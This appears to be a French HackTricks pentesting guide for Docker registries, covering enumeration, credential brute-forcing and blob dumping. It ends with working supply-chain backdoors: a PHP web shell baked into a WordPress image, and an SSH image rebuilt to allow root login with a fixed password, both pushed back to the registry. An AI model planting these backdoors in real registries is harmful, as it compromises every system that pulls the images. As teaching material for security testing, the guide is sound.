hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md
2023-06-03 13:10:46 +00:00

16 KiB

5000 - Test de pénétration du registre Docker

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

Informations provenant de ici.

Un registre Docker est un système de stockage et de distribution pour les images Docker nommées. La même image peut avoir plusieurs versions différentes, identifiées par leurs tags.
Un registre Docker est organisé en répertoires Docker, où un répertoire contient toutes les versions d'une image spécifique. Le registre permet aux utilisateurs de Docker de tirer des images localement, ainsi que de pousser de nouvelles images vers le registre (en fonction des autorisations d'accès adéquates, le cas échéant).

Par défaut, le moteur Docker interagit avec DockerHub, l'instance de registre public de Docker. Cependant, il est possible d'exécuter sur site le registre/distribution Docker open source, ainsi qu'une version commercialement prise en charge appelée Docker Trusted Registry. Il existe d'autres registres publics disponibles en ligne.

Pour tirer une image d'un registre sur site, vous pouvez exécuter une commande similaire à :

docker pull my-registry:9000/foo/bar:2.1

Si vous souhaitez récupérer la version de l'image foo/bar avec le tag 2.1 depuis notre registre sur site situé sur le domaine my-registry et le port 9000, vous pouvez utiliser la commande suivante :

docker pull my-registry:9000/foo/bar:2.1

Si vous utilisiez DockerHub à la place et que la version 2.1 était également la dernière version, vous pourriez exécuter cette commande pour récupérer la même image localement :

docker pull foo/bar

Port par défaut: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Découverte

Le moyen le plus simple de découvrir ce service en cours d'exécution est de l'obtenir sur la sortie de nmap. Quoi qu'il en soit, notez que comme il s'agit d'un service basé sur HTTP, il peut être derrière des proxies HTTP et nmap ne le détectera pas.
Quelques empreintes digitales:

  • Si vous accédez à /, rien n'est renvoyé dans la réponse
  • Si vous accédez à /v2/, alors {} est renvoyé
  • Si vous accédez à /v2/_catalog, vous pouvez obtenir:
    • {"repositories":["alpine","ubuntu"]}
    • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Énumération

HTTP/HTTPS

Le registre Docker peut être configuré pour utiliser HTTP ou HTTPS. Donc la première chose que vous devrez peut-être faire est de trouver lequel est configuré:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Authentification

Le registre Docker peut également être configuré pour exiger une authentification :

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Si le Docker Registry nécessite une authentification, vous pouvez essayer de la forcer en utilisant ceci (../generic-methodologies-and-resources/brute-force.md#docker-registry).
Si vous trouvez des identifiants valides, vous devrez les utiliser pour énumérer le registre, dans curl vous pouvez les utiliser comme ceci:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Énumération en utilisant DockerRegistryGrabber

DockerRegistryGrabber est un outil python pour énumérer / déverser le registre Docker (avec ou sans authentification de base).

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Énumération en utilisant curl

Une fois que vous avez obtenu l'accès au registre Docker, voici quelques commandes que vous pouvez utiliser pour l'énumérer :

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
   "schemaVersion": 1,
   "name": "ubuntu",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
               "kty": "EC",
               "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
               "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
            },
            "alg": "ES256"
         },
         "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
      }
   ]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

{% hint style="warning" %} Notez que lorsque vous téléchargez et décompressez les fichiers blobs, des fichiers et des dossiers apparaîtront dans le répertoire actuel. Si vous téléchargez tous les blobs et les décompressez dans le même dossier, ils écraseront les valeurs des blobs précédemment décompressés, donc soyez prudent. Il peut être intéressant de décompresser chaque blob dans un dossier différent pour inspecter le contenu exact de chaque blob. {% endhint %}

Énumération en utilisant docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB              
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B                  
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B                  
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B                
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB       

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Introduction d'une porte dérobée dans une image WordPress

Dans le scénario où vous avez trouvé un Docker Registry sauvegardant une image WordPress, vous pouvez y introduire une porte dérobée.
Créez la porte dérobée :

{% code title="shell.php" %}

<?php echo shell_exec($_GET["cmd"]); ?>

{% endcode %}

Créez un Dockerfile :

{% code title="Dockerfile" %}

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

{% endcode %}

Créez la nouvelle image, vérifiez qu'elle est créée et poussez-la :

docker build -t 10.10.10.10:5000/wordpress .
 #Create
docker images
docker push registry:5000/wordpress #Push it

Introduction d'une porte dérobée dans l'image du serveur SSH

Supposons que vous ayez trouvé une image SSH dans un Docker Registry et que vous souhaitiez y introduire une porte dérobée.
Téléchargez l'image et exécutez-la :

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Extraire le fichier sshd_config de l'image SSH :

docker cp 4c989242c714:/etc/ssh/sshd_config .

Et modifiez-le pour définir: PermitRootLogin yes

Créez un Dockerfile comme celui-ci:

{% tabs %} {% tab title="Dockerfile" %}

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

{% endtab %} {% endtabs %}

Créez la nouvelle image, vérifiez qu'elle est créée et poussez-la :

docker build -t 10.10.10.10:5000/sshd-docker-cli .
 #Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥